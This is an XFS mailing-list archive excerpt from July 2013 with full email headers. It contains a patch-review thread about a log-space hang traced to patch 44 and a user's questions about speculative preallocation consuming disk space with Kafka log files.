    support issue with the CentOS kernel. =A0Surely what I've written isn&#= 39;t
    news to you. =A0Pay Red Hat for RHEL, or switch to Debian, Ubuntu, Open
    Suse, etc. =A0Either way you'll be able to get much better support.

    --
    Stan


    --20cf307f33cc985e2304e2701f29-- From mlsemon35@gmail.com Fri Jul 26 15:46:24 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.3 required=5.0 tests=FREEMAIL_ENVFROM_END_DIGIT, FREEMAIL_FROM,T_DKIM_INVALID autolearn=no version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay2.corp.sgi.com [137.38.102.29]) by oss.sgi.com (Postfix) with ESMTP id 8EC3529E21 for ; Fri, 26 Jul 2013 15:46:24 -0500 (CDT) Received: from cuda.sgi.com (cuda2.sgi.com [192.48.176.25]) by relay2.corp.sgi.com (Postfix) with ESMTP id 6CFFB30407B for ; Fri, 26 Jul 2013 13:46:24 -0700 (PDT) X-ASG-Debug-ID: 1374871582-04cbb02c3adeb30001-NocioJ Received: from mail-ye0-f175.google.com (mail-ye0-f175.google.com [209.85.213.175]) by cuda.sgi.com with ESMTP id fxOkLQb9DW3qw81C (version=TLSv1 cipher=RC4-SHA bits=128 verify=NO) for ; Fri, 26 Jul 2013 13:46:23 -0700 (PDT) X-Barracuda-Envelope-From: mlsemon35@gmail.com X-Barracuda-Apparent-Source-IP: 209.85.213.175 X-Barracuda-IPDD: Level1 [gmail.com/209.85.213.175] Received: by mail-ye0-f175.google.com with SMTP id m9so700800yen.34 for ; Fri, 26 Jul 2013 13:46:22 -0700 (PDT) X-Barracuda-IPDD: Level1 [gmail.com/209.85.213.175] X-Barracuda-IPDD: Level1 [gmail.com/209.85.213.175] DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=gmail.com; s=20120113; h=message-id:date:from:user-agent:mime-version:to:cc:subject :references:in-reply-to:content-type:content-transfer-encoding; bh=COvTRSIJJ1mDqS6SCX9uENHiiBcjOoQHi2ltnAVTGsY=; b=BX/laIV53fTS5aYSkf20yc4TIk+xUO7feOFHXmz8yZaLxAXA30NA9C2JUn5E/JMUxW VqrnVAJy/+mZ2Kq0bMFcGmvMXxeMMN6o/xpSKSFfFSy/zS7J3vT6VJpSY6NZn4HcBeJx 8BBr9kyye173IA/EgfcjV6RlAlxhj+6NxLXXW33Ziu/HxzB6bFuT8FfRTPp+VaatKraH BvabOt4gIPSgrGsGbh9/LjeO4sLjS9aNinGwxrN6CEETQTboYQ18ZKHIGUSDv+Jjiori lxU/U1hS1E3wl8PYMXr0b0+ipUeA9AVkMtw8iY6gs+zYuzFB2XJopSSpUn0AmXJ5Ypeh Z5BA== X-Received: by 10.236.22.193 with SMTP id t41mr21765393yht.248.1374871582617; Fri, 26 Jul 2013 13:46:22 -0700 (PDT) Received: from [192.168.0.129] (rrcs-97-78-60-146.se.biz.rr.com. [97.78.60.146]) by mx.google.com with ESMTPSA id f67sm66833254yhh.9.2013.07.26.13.46.21 for (version=TLSv1 cipher=ECDHE-RSA-RC4-SHA bits=128/128); Fri, 26 Jul 2013 13:46:22 -0700 (PDT) Message-ID: <51F2E011.5020904@gmail.com> Date: Fri, 26 Jul 2013 16:46:09 -0400 From: "Michael L. Semon" User-Agent: Mozilla/5.0 (X11; Linux i686; rv:17.0) Gecko/20130620 Thunderbird/17.0.7 MIME-Version: 1.0 To: Mark Tinguely CC: xfs@oss.sgi.com Subject: Re: [PATCH 44/49] xfs: Reduce allocations during CIL insertion References: <1374215120-7271-1-git-send-email-david@fromorbit.com> <1374215120-7271-45-git-send-email-david@fromorbit.com> <51EEF26F.5040001@sgi.com> <51EEF949.9020104@gmail.com> <51EFD68A.40400@sgi.com> X-ASG-Orig-Subj: Re: [PATCH 44/49] xfs: Reduce allocations during CIL insertion In-Reply-To: <51EFD68A.40400@sgi.com> Content-Type: text/plain; charset=ISO-8859-1 Content-Transfer-Encoding: 7bit X-Barracuda-Connect: mail-ye0-f175.google.com[209.85.213.175] X-Barracuda-Start-Time: 1374871583 X-Barracuda-Encrypted: RC4-SHA X-Barracuda-URL: http://192.48.176.25:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests=DKIM_SIGNED, DKIM_VERIFIED X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.137331 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- -0.00 DKIM_VERIFIED Domain Keys Identified Mail: signature passes verification 0.00 DKIM_SIGNED Domain Keys Identified Mail: message has a signature On 07/24/2013 09:28 AM, Mark Tinguely wrote: > On 07/23/13 16:44, Michael L. Semon wrote: >> On 07/23/2013 05:15 PM, Mark Tinguely wrote: >>> On 07/19/13 01:25, Dave Chinner wrote: >>>> From: Dave Chinner >>>> >>>> Now that we have the size of the object before the formatting pass >>>> is called, we can allocation the log vector and it's buffer in a >>>> single allocation rather than two separate allocations. >>>> >>>> Store the size of the allocated buffer in the log vector so that >>>> we potentially avoid allocation for future modifications of the >>>> object. >>>> >>>> While touching this code, remove the IOP_FORMAT definition. >> >>>> Signed-off-by: Dave Chinner >>> >>> Looks good. >>> >>> Reviewed-by: Mark Tinguely >>> >>> _______________________________________________ >>> xfs mailing list >>> xfs@oss.sgi.com >>> http://oss.sgi.com/mailman/listinfo/xfs >> >> I'd like to register a gentle "test this well" protest on this patch. >> While trying to figure out the origin of an unrelated lockdep, I >> tried to copy 3 kernel gits from one 2k non-CRC XFS filesystem to >> another one. With at least this patch used, the cp operatin stops, >> leading to not-umountable, not-syncable filesystems. It might be >> while copying the 2nd git, or the 3rd git, while copying header files, >> or while copying those large *.pack files, but it will happen >> somewhere. >> >> A bisect of the issue ends on this patch, but its removal means that >> 45_49 and 46_49 cannot be applied without good knowledge of the code >> to be patched. >> >> This one's on me for not being able to get good information to Dave. >> If I can find a way to get trace-cmd to pipe over ssh or something >> like that, then maybe there's a chance to make a file that `trace-cmd >> report` can read. Previous attempts to save to different filesystems >> or save over NFS and CIFS have all failed. Will keep trying... >> >> For diagnosing this patch, is there an effective trace that is rather >> small? And would you need more than just the XFS events? >> >> Thanks! >> >> Michael >> > > Thanks for the heads up. > > If you could please redo the test and get the stack traces with /proc/sysrq-trigger and if you kernel works with crash, a core dump. For the stack trace, I mostly want to know if it has several "xlog_grant_head_wait" entries in it, because ... > > ...I seemed to have triggered a couple log space reservation hangs with fsstress one XFS partition and a mega-copy on another partition, but will have to graft the new XFS tree onto a Linux 3.10 kernel to get crash (and one of my sata controllers) to work again. > > Thanks. > > --Mark. Well, I tried. Here's a Google Drive link, and hopefully it works: https://drive.google.com/folderview?id=0B41268QKoNjtckwzVTJqWnIydEE The instructions in Documentation/kdump/kdump.txt were followed fairly well. The dump was taken from /proc/vmcore and extracted like this: $ cat /proc/vmcore | gzip -9vc > 4git-cp-kernel-dump-1.gz You seem to have things well under control, so it all might not be needed, anyway. It does mean that kernel core dumps will go more quickly next time. BTW, there's a "crash" program referenced in kdump.txt, and it's been downloaded but not built yet. Were you looking for output from the crash program? Thanks! Michael From bpm@sgi.com Fri Jul 26 15:50:19 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=RP_MATCHES_RCVD autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay2.corp.sgi.com [137.38.102.29]) by oss.sgi.com (Postfix) with ESMTP id 42BA029E21 for ; Fri, 26 Jul 2013 15:50:19 -0500 (CDT) Received: from whiskey.americas.sgi.com (whiskey.americas.sgi.com [128.162.233.19]) by relay2.corp.sgi.com (Postfix) with ESMTP id D386330407B; Fri, 26 Jul 2013 13:50:18 -0700 (PDT) Received: by whiskey.americas.sgi.com (Postfix, from userid 4600) id 9BAAD4266DC; Fri, 26 Jul 2013 15:50:18 -0500 (CDT) Date: Fri, 26 Jul 2013 15:50:18 -0500 From: Ben Myers To: Jason Rosenberg Cc: stan@hardwarefreak.com, xfs@oss.sgi.com Subject: Re: understanding speculative preallocation Message-ID: <20130726205018.GM3111@sgi.com> References: <1374823420041-35002.post@n7.nabble.com> <20130726115021.GO13468@dastard> <51F2CD8B.8080207@hardwarefreak.com> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: User-Agent: Mutt/1.5.20 (2009-06-14) Hi Jason, On Fri, Jul 26, 2013 at 04:38:21PM -0400, Jason Rosenberg wrote: > Thanks for the info (most of it was, in fact, news to me). I'm an > application developer trying to debug a disk space problem, that's all. So > far, I've tracked it down to being an XFS issue. The speculative block reservations have been an issue for awhile. You are not the first person to take issue with it. > Regardless, is there a version history for XFS vis-a-via mainline Linux? You can find a full version history for XFS back to 2.6.12 or so here: http://oss.sgi.com/cgi-bin/gitweb.cgi?p=xfs/xfs.git;a=summary If you're interested in going older than that look here: http://oss.sgi.com/cgi-bin/gitweb.cgi?p=archive/xfs-import.git;a=summary The function you'll most likely want to track is xfs_iomap_write_delay, which calls xfs_iomap_eof_want_preallocate, both of which are in fs/xfs/xfs_iomap.c. Recently Brian Foster added a scanner to remove the speculative block reservations on a timer which may give you some relief. See xfs_queue_eofblocks in fs/xfs/xfs_icache.c Regards, Ben From jbr@squareup.com Fri Jul 26 16:04:59 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=HTML_MESSAGE,T_DKIM_INVALID autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay2.corp.sgi.com [137.38.102.29]) by oss.sgi.com (Postfix) with ESMTP id 377CD29E32 for ; Fri, 26 Jul 2013 16:04:59 -0500 (CDT) Received: from cuda.sgi.com (cuda3.sgi.com [192.48.176.15]) by relay2.corp.sgi.com (Postfix) with ESMTP id 2602430407B for ; Fri, 26 Jul 2013 14:04:56 -0700 (PDT) X-ASG-Debug-ID: 1374872694-04cb6c153dde6e0001-NocioJ Received: from mail-ve0-f170.google.com (mail-ve0-f170.google.com [209.85.128.170]) by cuda.sgi.com with ESMTP id NaOWBv16rxUYW8xT (version=TLSv1 cipher=RC4-SHA bits=128 verify=NO) for ; Fri, 26 Jul 2013 14:04:55 -0700 (PDT) X-Barracuda-Envelope-From: jbr@squareup.com X-Barracuda-Apparent-Source-IP: 209.85.128.170 Received: by mail-ve0-f170.google.com with SMTP id 14so1636228vea.29 for ; Fri, 26 Jul 2013 14:04:54 -0700 (PDT) DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=squareup.com; s=google; h=mime-version:in-reply-to:references:date:message-id:subject:from:to :cc:content-type; bh=FPEFDhVsZyxslk3GoV+vxG+fSh99gNF3XzWXnsp5iuw=; b=CoI4ZjysOFjhcrDdwux6T5o+Japo4SeUltoC6I0vEy3jo7dSGIX/8boKv7pNJ2c+Kb CMT8V3bsrUfW+tG6i3yZMkuobC4Jj+OeKqlZ61xKfCOSpCNJrX+T8YqPz4pTAa2fG0us uLConRVB+8mQCvAxN2QDluVuhR/XKIUvrjDZU= X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=google.com; s=20120113; h=mime-version:in-reply-to:references:date:message-id:subject:from:to :cc:content-type:x-gm-message-state; bh=FPEFDhVsZyxslk3GoV+vxG+fSh99gNF3XzWXnsp5iuw=; b=Tn4d5TBGQWEVbZynwMZ927bgELNVlscjUcreLAbUXTgJ9ZoQdg1jtq0DWir7uuwqMl LNv3Wv0+wz1E4hIQQJsm7OVeRyBhcrB1wkD70WdAbNkG/cvKklKJfmwXj21yNDgjtQ+N 241YZ2QII3KLLe2+wuXGVNHjBoAzswZZtFNdwHX7fAvXe2aAH1l2pMPeYONTqBOGP8dw Rrdl0IRiwrInZ/YnIxmKRv04CBO5/KZ70oN4LxTsCNJdpqs8NWQqk1Xg7VyoZXXbZwnu jtkXt9B2ZPVoqpjBlO72oTOR3PVUy4Iun6lYlhryuJZQ0xMXOAHREQR9DXTGv+AyGRqO I6rw== MIME-Version: 1.0 X-Received: by 10.220.143.140 with SMTP id v12mr4325889vcu.95.1374872694541; Fri, 26 Jul 2013 14:04:54 -0700 (PDT) Received: by 10.52.184.194 with HTTP; Fri, 26 Jul 2013 14:04:54 -0700 (PDT) In-Reply-To: <20130726205018.GM3111@sgi.com> References: <1374823420041-35002.post@n7.nabble.com> <20130726115021.GO13468@dastard> <51F2CD8B.8080207@hardwarefreak.com> <20130726205018.GM3111@sgi.com> Date: Fri, 26 Jul 2013 17:04:54 -0400 Message-ID: Subject: Re: understanding speculative preallocation From: Jason Rosenberg X-ASG-Orig-Subj: Re: understanding speculative preallocation To: Ben Myers Cc: stan@hardwarefreak.com, xfs@oss.sgi.com Content-Type: multipart/alternative; boundary=047d7b342f4491e39d04e2707ee4 X-Gm-Message-State: ALoCoQnsijS65T7xujtdEyCUtjke7f1FlnozqMSzUoUWZVXCMMf3Hv7ilfqLVx12TRY9a1ATTibB X-Barracuda-Connect: mail-ve0-f170.google.com[209.85.128.170] X-Barracuda-Start-Time: 1374872694 X-Barracuda-Encrypted: RC4-SHA X-Barracuda-URL: http://192.48.176.15:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests=DKIM_SIGNED, DKIM_VERIFIED, HTML_MESSAGE X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.137331 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- -0.00 DKIM_VERIFIED Domain Keys Identified Mail: signature passes verification 0.00 DKIM_SIGNED Domain Keys Identified Mail: message has a signature 0.00 HTML_MESSAGE BODY: HTML included in message --047d7b342f4491e39d04e2707ee4 Content-Type: text/plain; charset=ISO-8859-1 Thanks Ben, This is helpful. On Fri, Jul 26, 2013 at 4:50 PM, Ben Myers wrote: > Hi Jason, > > On Fri, Jul 26, 2013 at 04:38:21PM -0400, Jason Rosenberg wrote: > > Thanks for the info (most of it was, in fact, news to me). I'm an > > application developer trying to debug a disk space problem, that's all. > So > > far, I've tracked it down to being an XFS issue. > > The speculative block reservations have been an issue for awhile. You are > not > the first person to take issue with it. > > > Regardless, is there a version history for XFS vis-a-via mainline Linux? > > You can find a full version history for XFS back to 2.6.12 or so here: > http://oss.sgi.com/cgi-bin/gitweb.cgi?p=xfs/xfs.git;a=summary > > If you're interested in going older than that look here: > http://oss.sgi.com/cgi-bin/gitweb.cgi?p=archive/xfs-import.git;a=summary > > The function you'll most likely want to track is xfs_iomap_write_delay, > which > calls xfs_iomap_eof_want_preallocate, both of which are in > fs/xfs/xfs_iomap.c. > > Recently Brian Foster added a scanner to remove the speculative block > reservations on a timer which may give you some relief. See > xfs_queue_eofblocks in fs/xfs/xfs_icache.c > > Regards, > Ben > > --047d7b342f4491e39d04e2707ee4 Content-Type: text/html; charset=ISO-8859-1 Content-Transfer-Encoding: quoted-printable
    Thanks Ben,

    This is helpful.


    On Fri, Jul = 26, 2013 at 4:50 PM, Ben Myers <bpm@sgi.com> wrote:
    Hi Jason,

    On Fri, Jul 26, 2013 at 04:38:21PM -0400, Jason Rosenberg wrote:
    > Thanks for the info (most of it was, in fact, news to me). =A0I'm = an
    > application developer trying to debug a disk space problem, that's= all. =A0So
    > far, I've tracked it down to being an XFS issue.

    The speculative block reservations have been an issue for awhile. =A0= You are not
    the first person to take issue with it.

    > Regardless, is there a version history for XFS vis-a-via mainline Linu= x?

    You can find a full version history for XFS back to 2.6.12 or so here= :
    http://oss.sgi.com/cgi-bin/gitweb.cgi?p=3Dxfs/xfs.git;= a=3Dsummary

    If you're interested in going older than that look here:
    http://oss.sgi.com/cgi-bin/gitweb.cgi?p=3Da= rchive/xfs-import.git;a=3Dsummary

    The function you'll most likely want to track is xfs_iomap_write_delay,= which
    calls xfs_iomap_eof_want_preallocate, both of which are in fs/xfs/xfs_iomap= .c.

    Recently Brian Foster added a scanner to remove the speculative block
    reservations on a timer which may give you some relief. =A0See
    xfs_queue_eofblocks in fs/xfs/xfs_icache.c

    Regards,
    =A0 =A0 =A0 =A0 Ben


    --047d7b342f4491e39d04e2707ee4-- From tinguely@sgi.com Fri Jul 26 16:06:38 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=RP_MATCHES_RCVD autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay2.corp.sgi.com [137.38.102.29]) by oss.sgi.com (Postfix) with ESMTP id 207A529E32 for ; Fri, 26 Jul 2013 16:06:38 -0500 (CDT) Received: from eagdhcp-232-140.americas.sgi.com (eagdhcp-232-140.americas.sgi.com [128.162.232.140]) by relay2.corp.sgi.com (Postfix) with ESMTP id DE15430407B; Fri, 26 Jul 2013 14:06:37 -0700 (PDT) Message-ID: <51F2E4DD.4020301@sgi.com> Date: Fri, 26 Jul 2013 16:06:37 -0500 From: Mark Tinguely User-Agent: Mozilla/5.0 (X11; FreeBSD amd64; rv:9.0) Gecko/20120122 Thunderbird/9.0 MIME-Version: 1.0 To: "Michael L. Semon" CC: xfs@oss.sgi.com Subject: Re: [PATCH 44/49] xfs: Reduce allocations during CIL insertion References: <1374215120-7271-1-git-send-email-david@fromorbit.com> <1374215120-7271-45-git-send-email-david@fromorbit.com> <51EEF26F.5040001@sgi.com> <51EEF949.9020104@gmail.com> <51EFD68A.40400@sgi.com> <51F2E011.5020904@gmail.com> In-Reply-To: <51F2E011.5020904@gmail.com> Content-Type: text/plain; charset=ISO-8859-1; format=flowed Content-Transfer-Encoding: 7bit On 07/26/13 15:46, Michael L. Semon wrote: > On 07/24/2013 09:28 AM, Mark Tinguely wrote: >> On 07/23/13 16:44, Michael L. Semon wrote: >>> On 07/23/2013 05:15 PM, Mark Tinguely wrote: >>>> On 07/19/13 01:25, Dave Chinner wrote: >>>>> From: Dave Chinner >>>>> >>>>> Now that we have the size of the object before the formatting pass >>>>> is called, we can allocation the log vector and it's buffer in a >>>>> single allocation rather than two separate allocations. >>>>> >>>>> Store the size of the allocated buffer in the log vector so that >>>>> we potentially avoid allocation for future modifications of the >>>>> object. >>>>> >>>>> While touching this code, remove the IOP_FORMAT definition. >>> >>>>> Signed-off-by: Dave Chinner >>>> >>>> Looks good. >>>> >>>> Reviewed-by: Mark Tinguely >>>> >>>> _______________________________________________ >>>> xfs mailing list >>>> xfs@oss.sgi.com >>>> http://oss.sgi.com/mailman/listinfo/xfs >>> >>> I'd like to register a gentle "test this well" protest on this patch. >>> While trying to figure out the origin of an unrelated lockdep, I >>> tried to copy 3 kernel gits from one 2k non-CRC XFS filesystem to >>> another one. With at least this patch used, the cp operatin stops, >>> leading to not-umountable, not-syncable filesystems. It might be >>> while copying the 2nd git, or the 3rd git, while copying header files, >>> or while copying those large *.pack files, but it will happen >>> somewhere. >>> >>> A bisect of the issue ends on this patch, but its removal means that >>> 45_49 and 46_49 cannot be applied without good knowledge of the code >>> to be patched. >>> >>> This one's on me for not being able to get good information to Dave. >>> If I can find a way to get trace-cmd to pipe over ssh or something >>> like that, then maybe there's a chance to make a file that `trace-cmd >>> report` can read. Previous attempts to save to different filesystems >>> or save over NFS and CIFS have all failed. Will keep trying... >>> >>> For diagnosing this patch, is there an effective trace that is rather >>> small? And would you need more than just the XFS events? >>> >>> Thanks! >>> >>> Michael >>> >> >> Thanks for the heads up. >> >> If you could please redo the test and get the stack traces with /proc/sysrq-trigger and if you kernel works with crash, a core dump. For the stack trace, I mostly want to know if it has several "xlog_grant_head_wait" entries in it, because ... >> >> ...I seemed to have triggered a couple log space reservation hangs with fsstress one XFS partition and a mega-copy on another partition, but will have to graft the new XFS tree onto a Linux 3.10 kernel to get crash (and one of my sata controllers) to work again. >> >> Thanks. >> >> --Mark. > > Well, I tried. Here's a Google Drive link, and hopefully it works: > > https://drive.google.com/folderview?id=0B41268QKoNjtckwzVTJqWnIydEE > > The instructions in Documentation/kdump/kdump.txt were followed > fairly well. The dump was taken from /proc/vmcore and extracted > like this: > > $ cat /proc/vmcore | gzip -9vc> 4git-cp-kernel-dump-1.gz > > You seem to have things well under control, so it all might not be > needed, anyway. It does mean that kernel core dumps will go more > quickly next time. > > BTW, there's a "crash" program referenced in kdump.txt, and it's been > downloaded but not built yet. Were you looking for output from the > crash program? > > Thanks! > > Michael Thanks more data. I will take a look. I will need the vmlinux, System.map, and xfs.ko (if xfs is a module). I can reproduce a problem in patch 44 too. It takes my copy test 20 minutes to deplete the log space with patch 44, Same test with patch 43 has been running a day and a half. I do not think that patch 44 is 100 times faster than patch 43 but I will let patch 43 spin all weekend on a couple machines to verify that patch 43 does not hang. Whatever the cause, it has to be fixed before bringing in patches 43-47. --Mark. From jbr@squareup.com Fri Jul 26 16:11:58 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=HTML_MESSAGE,T_DKIM_INVALID autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay2.corp.sgi.com [137.38.102.29]) by oss.sgi.com (Postfix) with ESMTP id E2B5D29E32 for ; Fri, 26 Jul 2013 16:11:57 -0500 (CDT) Received: from cuda.sgi.com (cuda3.sgi.com [192.48.176.15]) by relay2.corp.sgi.com (Postfix) with ESMTP id C6640304062 for ; Fri, 26 Jul 2013 14:11:57 -0700 (PDT) X-ASG-Debug-ID: 1374873116-04cb6c2e9ce34c0001-NocioJ Received: from mail-vb0-f54.google.com (mail-vb0-f54.google.com [209.85.212.54]) by cuda.sgi.com with ESMTP id zQW6AoHXYZT5HnLY (version=TLSv1 cipher=RC4-SHA bits=128 verify=NO) for ; Fri, 26 Jul 2013 14:11:56 -0700 (PDT) X-Barracuda-Envelope-From: jbr@squareup.com X-Barracuda-Apparent-Source-IP: 209.85.212.54 Received: by mail-vb0-f54.google.com with SMTP id q16so1534530vbe.41 for ; Fri, 26 Jul 2013 14:11:56 -0700 (PDT) DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=squareup.com; s=google; h=mime-version:in-reply-to:references:date:message-id:subject:from:to :cc:content-type; bh=gd28uTxu8qihEx67uEvJ8ByR7KQU/XGFx4aIB3YyuYM=; b=OtxX8MY2Y6ggUqGaamOD5dSjnOvwduAEJUNhGShhKE//38B9KLaR6sx/WWjcSwr8PO gb89PkUFe97JuoCS8e74ltOu+A20ke6sSTKD1zpUc7tUGE7QdOoOYeCZL/PJ2qc0WN9d PrSORdDNAc3kLWz/bKIufgR8eJlUXoPcivzBw= X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=google.com; s=20120113; h=mime-version:in-reply-to:references:date:message-id:subject:from:to :cc:content-type:x-gm-message-state; bh=gd28uTxu8qihEx67uEvJ8ByR7KQU/XGFx4aIB3YyuYM=; b=Av28y1XlymaYU+Hk9qe2O6y1lD94Zl3V8Afyxa8krszESoE7dO74smDeCJTkejS0fR lVabHZY84YxFipXCtU1RjNWJHcsHNW6DbabHEkyGJgZNPz3e7O7Zv536JP8eBiHOW+Jj szsl4a4lZdlujAVZmdsGgd9qfg2DTkb6gRVx+GR8pjVoPx26wf7I9rULxn+Qyr7GP1zs e2SDaINu2IvKmQgNDxKMxiztrW3eA7SXz6JIdfjiQB+s7L0Qcex843TEBTvTGrmAu9aj vPKDiUfgRu1btgdGmWn4zABXZ9IldeQ0+xrqKe3x6ahHPM/spgQMQtC94HjK/0wdu2H9 4MNw== MIME-Version: 1.0 X-Received: by 10.220.183.10 with SMTP id ce10mr4242629vcb.41.1374873115985; Fri, 26 Jul 2013 14:11:55 -0700 (PDT) Received: by 10.52.184.194 with HTTP; Fri, 26 Jul 2013 14:11:55 -0700 (PDT) In-Reply-To: References: <1374823420041-35002.post@n7.nabble.com> <20130726115021.GO13468@dastard> <51F2CD8B.8080207@hardwarefreak.com> <20130726205018.GM3111@sgi.com> Date: Fri, 26 Jul 2013 17:11:55 -0400 Message-ID: Subject: Re: understanding speculative preallocation From: Jason Rosenberg X-ASG-Orig-Subj: Re: understanding speculative preallocation To: Ben Myers Cc: stan@hardwarefreak.com, xfs@oss.sgi.com Content-Type: multipart/alternative; boundary=089e01536dc4b09c9604e27097ef X-Gm-Message-State: ALoCoQkiv4uksUJ6dDtKWNDdogqxm8nmXQnbvTHXt5Hq/EqH7cgEq8vooj5KQAN7ge37I4zz1wx7 X-Barracuda-Connect: mail-vb0-f54.google.com[209.85.212.54] X-Barracuda-Start-Time: 1374873116 X-Barracuda-Encrypted: RC4-SHA X-Barracuda-URL: http://192.48.176.15:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests=DKIM_SIGNED, DKIM_VERIFIED, HTML_MESSAGE X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.137331 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- -0.00 DKIM_VERIFIED Domain Keys Identified Mail: signature passes verification 0.00 DKIM_SIGNED Domain Keys Identified Mail: message has a signature 0.00 HTML_MESSAGE BODY: HTML included in message --089e01536dc4b09c9604e27097ef Content-Type: text/plain; charset=ISO-8859-1 Is it safe to say that speculative preallocation will not be used if a file is opened read-only? It turns out that the kafka server does indeed write lots of log files, and rotate them after they reach a max size, but never closes the files until the app exits, or until it deletes the files. This is because it needs to make them available for reading, etc. So, an obvious change for kafka might be to close each log file after rotating, and then re-open it read-only for consumers of the data. Does that sound like a solution that would pro-actively release pre-allocated storage? Thanks, Jason On Fri, Jul 26, 2013 at 5:04 PM, Jason Rosenberg wrote: > Thanks Ben, > > This is helpful. > > > On Fri, Jul 26, 2013 at 4:50 PM, Ben Myers wrote: > >> Hi Jason, >> >> On Fri, Jul 26, 2013 at 04:38:21PM -0400, Jason Rosenberg wrote: >> > Thanks for the info (most of it was, in fact, news to me). I'm an >> > application developer trying to debug a disk space problem, that's all. >> So >> > far, I've tracked it down to being an XFS issue. >> >> The speculative block reservations have been an issue for awhile. You >> are not >> the first person to take issue with it. >> >> > Regardless, is there a version history for XFS vis-a-via mainline Linux? >> >> You can find a full version history for XFS back to 2.6.12 or so here: >> http://oss.sgi.com/cgi-bin/gitweb.cgi?p=xfs/xfs.git;a=summary >> >> If you're interested in going older than that look here: >> http://oss.sgi.com/cgi-bin/gitweb.cgi?p=archive/xfs-import.git;a=summary >> >> The function you'll most likely want to track is xfs_iomap_write_delay, >> which >> calls xfs_iomap_eof_want_preallocate, both of which are in >> fs/xfs/xfs_iomap.c. >> >> Recently Brian Foster added a scanner to remove the speculative block >> reservations on a timer which may give you some relief. See >> xfs_queue_eofblocks in fs/xfs/xfs_icache.c >> >> Regards, >> Ben >> >> > --089e01536dc4b09c9604e27097ef Content-Type: text/html; charset=ISO-8859-1 Content-Transfer-Encoding: quoted-printable
    Is it safe to say that speculative preallocation will not = be used if a file is opened read-only?

    It turns out that= the kafka server does indeed write lots of log files, and rotate them afte= r they reach a max size, but never closes the files until the app exits, or= until it deletes the files. =A0This is because it needs to make them avail= able for reading, etc. =A0 So, an obvious change for kafka might be to clos= e each log file after rotating, and then re-open it read-only for consumers= of the data. =A0Does that sound like a solution that would pro-actively re= lease pre-allocated storage?

    Thanks,

    Jason


    On Fri, Jul 26, 20= 13 at 5:04 PM, Jason Rosenberg <jbr@squareup.com> wrote:
    Thanks Ben,

    <= div>This is helpful.


    On Fri, Jul 26, 2013 at 4:50 PM, Ben Mye= rs <b= pm@sgi.com> wrote:
    Hi Jason,

    On Fri, Jul 26, 2013 at 04:38:21PM -0400, Jason Rosenberg wrote:
    > Thanks for the info (most of it was, in fact, news to me). =A0I'm = an
    > application developer trying to debug a disk space problem, that's= all. =A0So
    > far, I've tracked it down to being an XFS issue.

    The speculative block reservations have been an issue for awhile. =A0= You are not
    the first person to take issue with it.

    > Regardless, is there a version history for XFS vis-a-via mainline Linu= x?

    You can find a full version history for XFS back to 2.6.12 or so here= :
    http://oss.sgi.com/cgi-bin/gitweb.cgi?p=3Dxfs/xfs.git;= a=3Dsummary

    If you're interested in going older than that look here:
    http://oss.sgi.com/cgi-bin/gitweb.cgi?p=3Da= rchive/xfs-import.git;a=3Dsummary

    The function you'll most likely want to track is xfs_iomap_write_delay,= which
    calls xfs_iomap_eof_want_preallocate, both of which are in fs/xfs/xfs_iomap= .c.

    Recently Brian Foster added a scanner to remove the speculative block
    reservations on a timer which may give you some relief. =A0See
    xfs_queue_eofblocks in fs/xfs/xfs_icache.c

    Regards,
    =A0 =A0 =A0 =A0 Ben



